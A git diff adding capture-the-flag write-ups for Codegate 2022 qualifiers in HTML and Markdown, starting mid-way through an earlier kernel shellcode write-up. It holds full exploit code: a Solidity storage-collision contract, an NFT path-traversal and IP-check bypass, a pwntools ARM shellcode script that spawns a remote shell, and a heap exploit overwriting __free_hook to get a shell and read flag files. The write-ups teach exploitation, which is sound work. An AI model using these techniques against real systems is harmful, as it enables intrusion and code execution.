0x390 + stpt 0x2C8 + lpswe 0x200 + pswe - shellcode + +.align 16 +pswe: + # Copied from gdb + .quad 0x0705200180000000 + .quad userret +``` + +Flag: `CTFZone{pls_only_l0wcor3_m3th0d_n0__nintend3d_kthxbye}` \ No newline at end of file diff --git a/Codegate-2022-quals/blockchain/ankiwoom.html b/Codegate-2022-quals/blockchain/ankiwoom.html new file mode 100755 index 0000000..255162b --- /dev/null +++ b/Codegate-2022-quals/blockchain/ankiwoom.html @@ -0,0 +1,263 @@ + + + + + +Ankiwoom Invest | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Ankiwoom Invest

+ +

Author: Robin_Jadoul

+ +

Tags: blockchain

+ +

Points: 964 (11 solves)

+ +

Description:

+ +
+

What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock?

+ +

service: nc 13.125.194.44 20000

+ +

rpc: http://13.125.194.44:8545

+ +

faucet: http://13.125.194.44:8080

+ +

network info: mainnet, petersburg

+
+ +

The info struct in the Proxy contract overlaps with the storage slot of the donaters dynamic array in the Investment contract. This means that whenever info is written, if overwrites the length of donaters and hence we can achieve an out-of-bounds write. Observe that since the msg.sender address is written to the upper part of the length, we are likely to have enough reach to overwrite arbitrary interesting storage variables and in particular target our own balance. +Since we need an “invalid” lastDonater when using modifyDonater, we have to make sure that the lastDonater slot contains the address of a contract and a regular user address. That introduces the problem that we need to look like a regular address when performing the donation. To get around it, we can simply perform the setup and donation in the constructor of our contract, before we can be observed to have any nonzero extcodesize. Afterwards, we do the final steps from a regular contract function so that then the extcodesize is no longer seen as 0.

+ +

Some calculation on the storage addresses, a lot of fighting with the interaction with the RPC, and hoping our contract address is large enough to span the gap later, we get the flag.

+ +

Exploit contract:

+
import {Investment} from "./Investment.sol";
+import {Proxy} from "./Proxy.sol";
+
+contract Sploit {
+    Investment target;
+
+    constructor(Investment _t) {
+        target = _t;
+        target.init();
+        // Get some moneh
+        target.mint();
+        // Buy stonks to donate
+        target.buyStock("amd", 1);
+        // Donate so we have a contract lastDonater and can modifyDonater
+        // Do it in the constructor so somehow it seems like we're a user
+        target.donateStock(address(this), "amd", 1);
+    }
+    fallback() external payable {}
+
+    function continuesploit() public {
+        target.modifyDonater(1); // no clue if this was needed, probably not but I added it before the solution suddenly started to work ¯\_(ツ)_/¯
+
+        // Modify stuff, now we're a contract and no longer a user :)
+        uint256 base_address = uint256(keccak256(abi.encode(uint256(2)))); // donaters
+        uint256 mapping_slot = 7; // Balances
+        address mapping_key = address(this);
+        uint256 goal = uint256(keccak256(abi.encode(mapping_key, mapping_slot)));
+
+        require(goal > base_address, "Wrong overflow");
+
+        target.modifyDonater(goal - base_address);
+        target.buyStock("codegate", 1);
+        target.isSolved();
+    }
+}
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/blockchain/ankiwoom.md b/Codegate-2022-quals/blockchain/ankiwoom.md new file mode 100755 index 0000000..638aa7d --- /dev/null +++ b/Codegate-2022-quals/blockchain/ankiwoom.md @@ -0,0 +1,63 @@ +# Ankiwoom Invest + +**Author**: Robin_Jadoul + +**Tags:** blockchain + +**Points:** 964 (11 solves) + +**Description:** + +> What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock? +> +> service: nc 13.125.194.44 20000 +> +> rpc: http://13.125.194.44:8545 +> +> faucet: http://13.125.194.44:8080 +> +> network info: mainnet, petersburg + +The `info` struct in the `Proxy` contract overlaps with the storage slot of the `donaters` dynamic array in the `Investment` contract. This means that whenever `info` is written, if overwrites the length of `donaters` and hence we can achieve an out-of-bounds write. Observe that since the `msg.sender` address is written to the upper part of the length, we are likely to have enough reach to overwrite arbitrary interesting storage variables and in particular target our own balance. +Since we need an "invalid" `lastDonater` when using `modifyDonater`, we have to make sure that the `lastDonater` slot contains the address of a contract and a regular user address. That introduces the problem that we need to look like a regular address when performing the donation. To get around it, we can simply perform the setup and donation in the constructor of our contract, before we can be observed to have any nonzero `extcodesize`. Afterwards, we do the final steps from a regular contract function so that then the extcodesize is no longer seen as 0. + +Some calculation on the storage addresses, a lot of fighting with the interaction with the RPC, and hoping our contract address is large enough to span the gap later, we get the flag. + +**Exploit contract:** +```solidity +import {Investment} from "./Investment.sol"; +import {Proxy} from "./Proxy.sol"; + +contract Sploit { + Investment target; + + constructor(Investment _t) { + target = _t; + target.init(); + // Get some moneh + target.mint(); + // Buy stonks to donate + target.buyStock("amd", 1); + // Donate so we have a contract lastDonater and can modifyDonater + // Do it in the constructor so somehow it seems like we're a user + target.donateStock(address(this), "amd", 1); + } + fallback() external payable {} + + function continuesploit() public { + target.modifyDonater(1); // no clue if this was needed, probably not but I added it before the solution suddenly started to work ¯\_(ツ)_/¯ + + // Modify stuff, now we're a contract and no longer a user :) + uint256 base_address = uint256(keccak256(abi.encode(uint256(2)))); // donaters + uint256 mapping_slot = 7; // Balances + address mapping_key = address(this); + uint256 goal = uint256(keccak256(abi.encode(mapping_key, mapping_slot))); + + require(goal > base_address, "Wrong overflow"); + + target.modifyDonater(goal - base_address); + target.buyStock("codegate", 1); + target.isSolved(); + } +} +``` \ No newline at end of file diff --git a/Codegate-2022-quals/blockchain/nft.html b/Codegate-2022-quals/blockchain/nft.html new file mode 100755 index 0000000..26ac5f1 --- /dev/null +++ b/Codegate-2022-quals/blockchain/nft.html @@ -0,0 +1,248 @@ + + + + + +NFT | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

NFT

+ +

Author: Robin_Jadoul

+ +

Tags: blockchain

+ +

Points: 907 (17 solves)

+ +

Description:

+ +
+

NFT should work as having a deeply interaction with third-party like https://opensea.io/

+ +

We all know that blockchain is opened to all, which give us some guaranty thus it will work as we expected, however can we trust all this things?

+ +

contract: 0x4e2daa29B440EdA4c044b3422B990C718DF7391c

+ +

service: http://13.124.97.208:1234

+ +

rpc: http://13.124.97.208:8545/

+ +

faucet: http://13.124.97.208:8080

+ +

network info: mainnet, petersburg

+
+ +

This is mostly a web challenge with a bit of blockchain flavor. We observe that part of the token URI is directly fed into os.path.join after stripping away a prefix. Reading the documentation, we see that

+ +
+

If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

+
+ +

so we can get an absolute path out of it. The only obstacle remaining at this point is to find an IP address that:

+ +
    +
  • starts with a digit but not a 0
  • +
  • doesn’t contain 127.0.0.1 or 0.0.0.0
  • +
  • but is equivalent to 127.0.0.1 or 0.0.0.0
  • +
+ +

To this end, we see that in the python version used, the ipaddress module was still fairly naive, and didn’t allow e.g. a numeric IP, unfortunately. On the flip side, it didn’t check for leading zeroes in octets yet either, so we can abuse that to have 127.0.0.01 as our IP instead and pass the checks.

+ +

To perform the actual exploit:

+ +
    +
  • Create an account and login
  • +
  • Mint an NFT with tokenURI set to 127.0.0.01/account/storages//home/ctf/flag.txt with the private key of the account
  • +
  • visit the NFT listing for the account
  • +
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/blockchain/nft.md b/Codegate-2022-quals/blockchain/nft.md new file mode 100755 index 0000000..8e7666b --- /dev/null +++ b/Codegate-2022-quals/blockchain/nft.md @@ -0,0 +1,41 @@ +# NFT + +**Author**: Robin_Jadoul + +**Tags:** blockchain + +**Points:** 907 (17 solves) + +**Description:** + +> NFT should work as having a deeply interaction with third-party like https://opensea.io/ +> +> We all know that blockchain is opened to all, which give us some guaranty thus it will work as we expected, however can we trust all this things? +> +> contract: 0x4e2daa29B440EdA4c044b3422B990C718DF7391c +> +> service: http://13.124.97.208:1234 +> +> rpc: http://13.124.97.208:8545/ +> +> faucet: http://13.124.97.208:8080 +> +> network info: mainnet, petersburg + +This is mostly a web challenge with a bit of blockchain flavor. We observe that part of the token URI is directly fed into `os.path.join` after stripping away a prefix. Reading [the documentation](https://docs.python.org/3/library/os.path.html#os.path.join), we see that + +> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component. + +so we can get an absolute path out of it. The only obstacle remaining at this point is to find an IP address that: + +- starts with a digit but not a 0 +- doesn't contain `127.0.0.1` or `0.0.0.0` +- but is equivalent to `127.0.0.1` or `0.0.0.0` + +To this end, we see that in the python version used, the `ipaddress` module was still fairly naive, and didn't allow e.g. a numeric IP, unfortunately. On the flip side, it didn't check for leading zeroes in octets yet either, so we can abuse that to have `127.0.0.01` as our IP instead and pass the checks. + +To perform the actual exploit: + +- Create an account and login +- Mint an NFT with tokenURI set to `127.0.0.01/account/storages//home/ctf/flag.txt` with the private key of the account +- visit the NFT listing for the account \ No newline at end of file diff --git a/Codegate-2022-quals/index.html b/Codegate-2022-quals/index.html new file mode 100755 index 0000000..1eede79 --- /dev/null +++ b/Codegate-2022-quals/index.html @@ -0,0 +1,260 @@ + + + + + +Codegate CTF 2022 Qualifiers | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Codegate CTF 2022 Qualifiers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ChallengeCategory
Very Long Flag ValidatorRev
ARVMPwn
VIMTPwn
IsolatedPwn
File-VPwn
forgottenPwn
nftBlockchain
Ankiwoom InvestBlockchain
CAFEWeb
superbeeWeb
babyFirstWeb
myblogWeb
+ + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/index.md b/Codegate-2022-quals/index.md new file mode 100755 index 0000000..a3cf7d2 --- /dev/null +++ b/Codegate-2022-quals/index.md @@ -0,0 +1,17 @@ +# Codegate CTF 2022 Qualifiers + +| Challenge | Category | +|--------------------------------------------|--------------| +| [Very Long Flag Validator](./rev/vlfv) | Rev | +| [ARVM](./pwn/arvm) | Pwn | +| [VIMT](./pwn/vimt) | Pwn | +| [Isolated](./pwn/isolated) | Pwn | +| [File-V](./pwn/filev) | Pwn | +| [forgotten](./pwn/forgotten) | Pwn | +| [nft](./blockchain/nft) | Blockchain | +| [Ankiwoom Invest](./blockchain/ankiwoom) | Blockchain | +| [CAFE](./web/cafe) | Web | +| [superbee](./web/superbee) | Web | +| [babyFirst](./web/babyfirst) | Web | +| [myblog](./web/myblog) | Web | + diff --git a/Codegate-2022-quals/pwn/arvm.html b/Codegate-2022-quals/pwn/arvm.html new file mode 100755 index 0000000..060bced --- /dev/null +++ b/Codegate-2022-quals/pwn/arvm.html @@ -0,0 +1,340 @@ + + + + + +Arvm | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Arvm

+ +

Author: Nspace

+ +

Tags: pwn

+ +

Points: 793 (25 solves)

+ +

Description:

+ +
+

Welcome! Here is my Emulator. It can use only human.

+ +

Always SMiLEY :)

+
+ +

This challenge is an ARM binary running in qemu-user. The challenge asks us to input up to 4k of ARM machine code, then gives us a choice between running the code, printing it, or replacing it with new code.

+ +
Running Emulator...
+Welcome Emulator
+Insert Your Code :>
+
+[...]
+
+1. Run Code
+2. View Code
+3. Edit Code
+:>
+
+ +

When we choose to run the code the binary asks us to solve a simple captcha, where we only have to read a number from the challenge and send it back.

+ +
Before run, it has some captcha
+Secret code : 0xf40117a4
+Code? :> $ 0xf40117a4
+
+ +

After we pass the captcha, the binary verifies our shellcode (run()):

+ +
struct vm *vm;
+
+void invalid_insn(uint32_t insn)
+{
+  printf("Instruction 0x%x is invalid\n", insn);
+  exit(-1);
+}
+
+int run(void)
+{
+  unsigned int v0;
+  uint32_t next_insn;
+
+  for (uint32_t insn = -1; vm->registers[15] < vm->code + 4096; insn = next_insn) {
+    if (vm->registers[15] < vm->code) {
+      break;
+    }
+
+    next_insn = *(uint32_t *)vm->registers[15];
+    vm->registers[15] += 4;
+
+    if (insn == 0) {
+      break;
+    }
+    if (insn != -1 && !sub_11314(insn)) {
+      invalid_insn(insn);
+    }
+
+    v0 = sub_1124C(insn);
+    if (v0 <= 4) {
+      switch (v0) {
+        case 0u:
+          if ( sub_117B8(insn) == -1 )
+            invalid_insn(insn);
+          continue;
+        case 1u:
+          if ( sub_11D98(insn) == -1 )
+            invalid_insn(insn);
+          continue;
+        case 2u:
+          if ( sub_11F28(insn) == -1 )
+            invalid_insn(insn);
+          next_insn = -1;
+          continue;
+        case 3u:
+          if ( sub_126EC() == -1 )
+            invalid_insn(insn);
+          continue;
+        case 4u:
+          if ( sub_12000(insn) == -1 )
+            invalid_insn(insn);
+          continue;
+        default:
+            invalid_insn(insn);
+          continue;
+      }
+    }
+    if ( v0 != -1 ) {
+      invalid_insn(insn);
+    }
+  }
+  return 0;
+}
+
+ +

If the verification succeeds, the binary runs our shellcode.

+ +

The run function is presumably trying to prevent our shellcode from doing something fishy like launching a shell. However I don’t know for sure becauase I didn’t actually reverse the checks.

+ +

Instead I noticed that the verification succeeds immediately when it encounters an instruction that encodes to 0. 0 is a valid ARM instruction that is essentially a nop (andeq r0, r0, r0). This means that we can easily bypass all the checks by prefixing our shellcode with this instruction.

+ +

Here is the final exploit script:

+ +
from pwn import *
+
+e = ELF('app')
+
+context.binary = e
+
+shellcode = asm('\n'.join([
+    'andeq r0, r0, r0',
+    shellcraft.sh(),
+]))
+
+if args.REMOTE:
+    r = remote('15.165.92.159', 1234)
+else:
+    r = process('./run.sh')
+
+r.sendafter(b'Insert Your Code :> ', shellcode)
+r.sendlineafter(b':> ', b'1')
+r.recvuntil(b'Secret code : 0x')
+captcha = int(r.recvline().strip().decode(), base=16)
+r.sendline(hex(captcha).encode())
+
+r.sendline(b'cat flag*')
+r.stream()
+
+ +
$ python3 exploit.py REMOTE
+codegate2022{79d1bafd64f2e49a5bc60e001d179c23ce05f43a5145ea1ff673a51fbe81d8baf846e3adab31d65792838d73b06047822fb419ebc522}
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/pwn/arvm.md b/Codegate-2022-quals/pwn/arvm.md new file mode 100755 index 0000000..7d9ba6b --- /dev/null +++ b/Codegate-2022-quals/pwn/arvm.md @@ -0,0 +1,144 @@ +# Arvm + +**Author**: [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags:** pwn + +**Points:** 793 (25 solves) + +**Description:** + +> Welcome! Here is my Emulator. It can use only human. +> +> Always SMiLEY :) + +This challenge is an ARM binary running in `qemu-user`. The challenge asks us to input up to 4k of ARM machine code, then gives us a choice between running the code, printing it, or replacing it with new code. + +``` +Running Emulator... +Welcome Emulator +Insert Your Code :> + +[...] + +1. Run Code +2. View Code +3. Edit Code +:> +``` + +When we choose to run the code the binary asks us to solve a simple captcha, where we only have to read a number from the challenge and send it back. + +``` +Before run, it has some captcha +Secret code : 0xf40117a4 +Code? :> $ 0xf40117a4 +``` + +After we pass the captcha, the binary verifies our shellcode (`run()`): + +```c +struct vm *vm; + +void invalid_insn(uint32_t insn) +{ + printf("Instruction 0x%x is invalid\n", insn); + exit(-1); +} + +int run(void) +{ + unsigned int v0; + uint32_t next_insn; + + for (uint32_t insn = -1; vm->registers[15] < vm->code + 4096; insn = next_insn) { + if (vm->registers[15] < vm->code) { + break; + } + + next_insn = *(uint32_t *)vm->registers[15]; + vm->registers[15] += 4; + + if (insn == 0) { + break; + } + if (insn != -1 && !sub_11314(insn)) { + invalid_insn(insn); + } + + v0 = sub_1124C(insn); + if (v0 <= 4) { + switch (v0) { + case 0u: + if ( sub_117B8(insn) == -1 ) + invalid_insn(insn); + continue; + case 1u: + if ( sub_11D98(insn) == -1 ) + invalid_insn(insn); + continue; + case 2u: + if ( sub_11F28(insn) == -1 ) + invalid_insn(insn); + next_insn = -1; + continue; + case 3u: + if ( sub_126EC() == -1 ) + invalid_insn(insn); + continue; + case 4u: + if ( sub_12000(insn) == -1 ) + invalid_insn(insn); + continue; + default: + invalid_insn(insn); + continue; + } + } + if ( v0 != -1 ) { + invalid_insn(insn); + } + } + return 0; +} +``` + +If the verification succeeds, the binary runs our shellcode. + +The `run` function is presumably trying to prevent our shellcode from doing something fishy like launching a shell. However I don't know for sure becauase I didn't actually reverse the checks. + +Instead I noticed that the verification succeeds immediately when it encounters an instruction that encodes to 0. 0 is a valid ARM instruction that is essentially a nop (`andeq r0, r0, r0`). This means that we can easily bypass all the checks by prefixing our shellcode with this instruction. + +Here is the final exploit script: + +```py +from pwn import * + +e = ELF('app') + +context.binary = e + +shellcode = asm('\n'.join([ + 'andeq r0, r0, r0', + shellcraft.sh(), +])) + +if args.REMOTE: + r = remote('15.165.92.159', 1234) +else: + r = process('./run.sh') + +r.sendafter(b'Insert Your Code :> ', shellcode) +r.sendlineafter(b':> ', b'1') +r.recvuntil(b'Secret code : 0x') +captcha = int(r.recvline().strip().decode(), base=16) +r.sendline(hex(captcha).encode()) + +r.sendline(b'cat flag*') +r.stream() +``` + +``` +$ python3 exploit.py REMOTE +codegate2022{79d1bafd64f2e49a5bc60e001d179c23ce05f43a5145ea1ff673a51fbe81d8baf846e3adab31d65792838d73b06047822fb419ebc522} +``` \ No newline at end of file diff --git a/Codegate-2022-quals/pwn/filev.html b/Codegate-2022-quals/pwn/filev.html new file mode 100755 index 0000000..f23629a --- /dev/null +++ b/Codegate-2022-quals/pwn/filev.html @@ -0,0 +1,512 @@ + + + + + +File-v | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

File-v

+ +

Authors: Peace-Maker, pql

+ +

Tags: pwn

+ +

Points: 957 (12 solves)

+ +

Description:

+ +
+

Thanks for using J-DRIVE!!!!

+
+ +

The challenge binary implements a virtual filesystem where you could create and manage +“files” in memory through a console menu smelling like an heap challenge. The process +forked right away and let the child and parent process communicate through local sockets. +The parent process provided the user interface which lets the user explore the virtual +filesystem and send “system calls” through to the child process, which kept the actual +list of virtual files.

+ +

Overview

+

After reversing both the parent process, we come to the following vfile struct, which +is created and filled with user provided data in the client itself. So the parent process +always keeps one copy of a “selected” vfile in memory to change the metadata and file content +of before committing it to the child process when asked to.

+ +
struct vfile_format
+{
+  unsigned int total_size; // filename_size + filesize + 25
+  unsigned int color_idx;
+  unsigned int created_time;
+  unsigned int modified_time;
+  unsigned int filename_size;
+  unsigned int filesize;
+  char filename[];
+};
+
+ +

The client process opens a flag.v and README.md.v file on start and links it into a global +doubly-linked list where the parent process can append and delete files from. The struct looks +something like this, but we only needed the parent process for our exploit.

+ +
struct vfile
+{
+  struct vfile_format *data;
+  struct vfile *prev;
+  struct vfile *next;
+};
+
+ +

You can select and print that flag.v file through the client menu, but it only tells you to +get a shell to read the real flag file.

+ +

The Bug

+

When editing a virtual file’s contents, the total_size field isn’t updated [1] but only the +filesize field is [4]. Since the two fields were used in different contexts in the logic, +the inconsistency first allowed us to leak a libc address.

+ +
__printf_chk(1LL, "Enter content: ");
+new_content = read_line(filesize);
+total_size = selected_vfile->total_size;               // [1]
+new_content2 = new_content;
+new_filestruct = (vfile_format *)malloc(selected_vfile->total_size - selected_vfile->filesize + filesize);   // [2]
+memcpy(new_filestruct, selected_vfile, total_size);    // [3]
+new_filestruct->modified_time = time(0LL);
+filename_size = new_filestruct->filename_size;
+new_filestruct->filesize = filesize;                   // [4]
+memcpy(&new_filestruct->filename[filename_size + 1], new_content2, filesize);
+free(selected_vfile);
+free(new_content2);
+
+ +

The Exploit

+

When changing the content of an existing file like flag.v to some longer value and saving it +to the child process, the total_size field is used to determine the size of the struct and +thus truncates it on the child process. After loading the same file again, the smaller total_size +is used to malloc a buffer for it. Printing the contents of a file uses the larger filesize field +and leaks the heap memory after the vfile_format struct containing libc addresses.

+ +

To turn this into an arbitrary write primitive, we created a file with longer content and correct +large total_size set. Then edit the contents again to a smaller value. We malloc a smaller +chunk in [2], but still memcpy the whole old struct over the smaller buffer. [3] +This allowed us to overflow the heap buffer and into another free tcache chunk we placed there +through some heap fengshui. The target chunk had to be smaller than 0x100 in size, since we’ll +use the filename as a trigger which had that size limit.

+ +

To actually fix up the total_size field after changing the contents we resorted to changing +the filename, since that menu option recalculated and updated the total_size to match the +set filesize:

+ +
total_size = file_data_struct->filesize + new_filename_len + 25;
+new_vfile = (vfile_format *)calloc(total_size, 1uLL);
+new_vfile->total_size = total_size;
+
+ +

Since we’re dealing with libc 2.27, which lacks tcache sanity checks, the plan was to plant +__free_hook into the fd field of a free tcache chunk to let malloc return that address +and overwrite it with a magic gadget to get a shell. A lot of the logic used calloc to +allocate memory though, which doesn’t use the tcache. So many steps of the exploit dance +around this limitation by using the few controllable malloc calls repeatedly.

+ +
#!/usr/bin/env python3
+from pwn import *
+
+# context.terminal = ["terminator", "-e"]
+
+BINARY_NAME = "./file-v-new"
+LIBC_NAME = "./libc.so"
+REMOTE = ("3.36.184.9", 5555)
+
+context.binary = BINARY_NAME
+binary = context.binary
+libc = ELF(LIBC_NAME)
+
+EXEC_STR = [binary.path]
+
+PIE_ENABLED = binary.pie
+
+BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else []
+
+gdbscript_break = '\n'.join([f"brva {hex(x)}" for x in BREAKPOINTS])
+
+gdbscript = \
+        """
+        # GDBSCRIPT here
+        set follow-fork-mode parent
+        continue
+        """
+
+
+def handle():
+    
+    env = {"LD_PRELOAD": libc.path}
+    
+    if args.REMOTE:
+        return remote(*REMOTE)
+    
+    elif args.LOCAL:
+        if args.GDB:
+            p = gdb.debug(EXEC_STR, env=env, gdbscript=gdbscript_break + gdbscript)
+        else:
+            p = process(EXEC_STR, env=env)
+    else:
+        error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]") 
+    
+    # if args.STRACE:
+    #     subprocess.Popen([*context.terminal, f"strace -p {p.pid}; cat"])
+    #     input("Waiting for enter...")
+    
+    return p
+
+def recvmenu(l):
+    l.recvuntil(b"> ")
+
+
+def do_create_file(l, filename, filename_len=None):
+    recvmenu(l)
+
+    if filename_len == None:
+        filename_len = len(filename)
+
+    l.sendline(b'c')
+    l.sendlineafter(b"Enter the length of filename:", str(filename_len).encode())
+    l.sendlineafter(b"Enter filename: ", filename)
+
+def do_select_file(l, filename):
+    recvmenu(l)
+    l.sendline(b'b')
+    l.sendlineafter(b"Enter filename: ", filename)
+    response = l.recvline()
+    if response == b'Failed to find the file\n':
+        return None
+    
+    l.recvuntil(b"Filename     \t\t")
+    filename = l.recvuntil(b"\nSize         \t\t", drop=True)
+    size = l.recvuntil(b"\nCreated  Time\t\t", drop=True)
+    created_time = l.recvuntil(b"\nModified Time\t\t", drop=True)
+    modified_time = l.recvuntil(b"\n-------------------------------------------------------\n", drop=True)
+
+    return {
+        "filename": filename,
+        "size": size,
+        "created_time": created_time,
+        "modified_time": modified_time
+    }
+
+def select_do_change_name(l, filename, filename_size=None):
+    if filename_size == None:
+        filename_size = len(filename)
+
+    recvmenu(l)
+    l.sendline(b"1")
+    l.sendlineafter(b"Enter the length of filename: ", str(filename_size).encode())
+    l.sendafter(b"Enter filename: ", filename)
+
+def select_do_change_content(l, content, content_size=None):
+
+    if content_size == None:
+        content_size = len(content)
+
+    recvmenu(l)
+    l.sendline(b"4")
+    l.sendlineafter(b"Enter the size of content: ", str(content_size).encode())
+    l.sendafter(b"Enter content: ", content)
+
+def select_do_get_content(l):
+    recvmenu(l)
+    l.sendline(b"3")
+
+    results = bytearray(0)
+
+    while True:
+        l.recvuntil(b' | ')
+        
+        bs = l.recvuntil(b'|', drop=True).decode().split(' ')[:-1]
+
+        if len(bs) == 0:
+            break
+
+        bs = bytearray(map(lambda x: bytes.fromhex(x)[0], bs))
+        results += bs
+
+        l.recvuntil(b'\n')
+
+    return results
+
+
+def select_do_save_changes(l):
+    recvmenu(l)
+    l.sendline(b'5')
+
+def select_do_back(l, save=False):
+    recvmenu(l)
+    l.sendline(b'b')
+    n = l.recvn(5)
+    # print('=====', n)
+    if n == b"Won't":
+        if save:
+            l.sendline(b'Y')
+        else:
+            l.sendline(b'N')
+
+def select_do_delete(l):
+    recvmenu(l)
+    l.sendline(b'd')
+
+def main():
+    l = handle()
+
+    l.recvuntil(b"-------------------------- MENU ---------------------------")
+    
+    file = do_select_file(l, b"flag")
+    print(file)
+
+    select_do_change_content(l, b"A"*0x100)
+    select_do_save_changes(l)
+    select_do_back(l)
+
+    do_select_file(l, b"flag")
+
+    oobr = select_do_get_content(l)
+    # print(hexdump(oobr))
+
+    libc_leak = u64(oobr[0xab:0xab+8])
+    log.info('libc leak: %#x', libc_leak)
+    libc_base = libc_leak - 0x3ec680 # libc.sym._IO_2_1_stderr_
+    log.info("libc base: %#x", libc_base)
+    libc.address = libc_base
+
+    select_do_back(l)
+
+    do_create_file(l, b'H'*0xc0)
+    do_select_file(l, b'H'*0xc0)
+    select_do_change_content(l, cyclic(0xc0))
+    select_do_change_name(l, b'hi')
+    select_do_save_changes(l)
+    select_do_change_content(l, b'A'*0x130)
+    select_do_back(l)
+    log.info('heap groomed')
+    
+    do_create_file(l, b'meh')
+    do_select_file(l, b'meh')
+    payload = fit({
+        0xd0-39: p64(0x21) + b'/etc/localtime\x00',
+        0xf0-39: p64(0xf1) + p64(0),
+        0x1e0-39: p64(0x1b1) + p64(0),
+        0x390-39: p64(0xf1) + p64(libc.sym.__free_hook),
+    }, length=0x400)
+    select_do_change_content(l, payload)
+    select_do_change_name(l, b'ho')
+    select_do_change_content(l, b'B'*(0xd0-25-2-0x10))
+    select_do_delete(l)
+    log.info('planted free_hook')
+
+    do_select_file(l, b'README.md')
+    select_do_change_name(l, b'W'*0xd0)
+    select_do_save_changes(l)
+    # select_do_back(l)
+    # select_do_delete(l)
+    one_gadget = libc_base + 0x10a41c # 0x4f3d5 0x4f432
+    select_do_change_name(l, p64(one_gadget).ljust(0xe0, b'\x00'))
+    log.success('enjoy your shell')
+    # select_do_save_changes(l)
+
+    l.sendline(b'id;cat f*;cat /home/ctf/f*')
+
+    l.interactive()
+
+
+if __name__ == "__main__":
+    main()
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/pwn/filev.md b/Codegate-2022-quals/pwn/filev.md new file mode 100755 index 0000000..d95c3a5 --- /dev/null +++ b/Codegate-2022-quals/pwn/filev.md @@ -0,0 +1,316 @@ +# File-v + +**Authors**: Peace-Maker, pql + +**Tags:** pwn + +**Points:** 957 (12 solves) + +**Description:** + +> Thanks for using J-DRIVE!!!! + +The challenge binary implements a virtual filesystem where you could create and manage +"files" in memory through a console menu smelling like an heap challenge. The process +forked right away and let the child and parent process communicate through local sockets. +The parent process provided the user interface which lets the user explore the virtual +filesystem and send "system calls" through to the child process, which kept the actual +list of virtual files. + +#### Overview +After reversing both the parent process, we come to the following vfile struct, which +is created and filled with user provided data in the client itself. So the parent process +always keeps one copy of a "selected" vfile in memory to change the metadata and file content +of before committing it to the child process when asked to. + +```c +struct vfile_format +{ + unsigned int total_size; // filename_size + filesize + 25 + unsigned int color_idx; + unsigned int created_time; + unsigned int modified_time; + unsigned int filename_size; + unsigned int filesize; + char filename[]; +}; +``` + +The client process opens a `flag.v` and `README.md.v` file on start and links it into a global +doubly-linked list where the parent process can append and delete files from. The struct looks +something like this, but we only needed the parent process for our exploit. + +```c +struct vfile +{ + struct vfile_format *data; + struct vfile *prev; + struct vfile *next; +}; +``` + +You can select and print that `flag.v` file through the client menu, but it only tells you to +get a shell to read the real `flag` file. + +#### The Bug +When editing a virtual file's contents, the `total_size` field isn't updated [1] but only the +`filesize` field is [4]. Since the two fields were used in different contexts in the logic, +the inconsistency first allowed us to leak a libc address. + +```c +__printf_chk(1LL, "Enter content: "); +new_content = read_line(filesize); +total_size = selected_vfile->total_size; // [1] +new_content2 = new_content; +new_filestruct = (vfile_format *)malloc(selected_vfile->total_size - selected_vfile->filesize + filesize); // [2] +memcpy(new_filestruct, selected_vfile, total_size); // [3] +new_filestruct->modified_time = time(0LL); +filename_size = new_filestruct->filename_size; +new_filestruct->filesize = filesize; // [4] +memcpy(&new_filestruct->filename[filename_size + 1], new_content2, filesize); +free(selected_vfile); +free(new_content2); +``` + +#### The Exploit +When changing the content of an existing file like `flag.v` to some longer value and saving it +to the child process, the `total_size` field is used to determine the size of the struct and +thus truncates it on the child process. After loading the same file again, the smaller `total_size` +is used to `malloc` a buffer for it. Printing the contents of a file uses the larger `filesize` field +and leaks the heap memory after the `vfile_format` struct containing libc addresses. + +To turn this into an arbitrary write primitive, we created a file with longer content and correct +large `total_size` set. Then edit the contents again to a smaller value. We `malloc` a smaller +chunk in [2], but still `memcpy` the whole old struct over the smaller buffer. [3] +This allowed us to overflow the heap buffer and into another free tcache chunk we placed there +through some heap fengshui. The target chunk had to be smaller than 0x100 in size, since we'll +use the filename as a trigger which had that size limit. + +To actually fix up the `total_size` field after changing the contents we resorted to changing +the filename, since that menu option recalculated and updated the `total_size` to match the +set `filesize`: + +```c +total_size = file_data_struct->filesize + new_filename_len + 25; +new_vfile = (vfile_format *)calloc(total_size, 1uLL); +new_vfile->total_size = total_size; +``` + +Since we're dealing with libc 2.27, which lacks tcache sanity checks, the plan was to plant +`__free_hook` into the `fd` field of a free tcache chunk to let `malloc` return that address +and overwrite it with a magic gadget to get a shell. A lot of the logic used `calloc` to +allocate memory though, which doesn't use the tcache. So many steps of the exploit dance +around this limitation by using the few controllable `malloc` calls repeatedly. + +```python +#!/usr/bin/env python3 +from pwn import * + +# context.terminal = ["terminator", "-e"] + +BINARY_NAME = "./file-v-new" +LIBC_NAME = "./libc.so" +REMOTE = ("3.36.184.9", 5555) + +context.binary = BINARY_NAME +binary = context.binary +libc = ELF(LIBC_NAME) + +EXEC_STR = [binary.path] + +PIE_ENABLED = binary.pie + +BREAKPOINTS = [int(x, 16) for x in args.BREAK.split(',')] if args.BREAK else [] + +gdbscript_break = '\n'.join([f"brva {hex(x)}" for x in BREAKPOINTS]) + +gdbscript = \ + 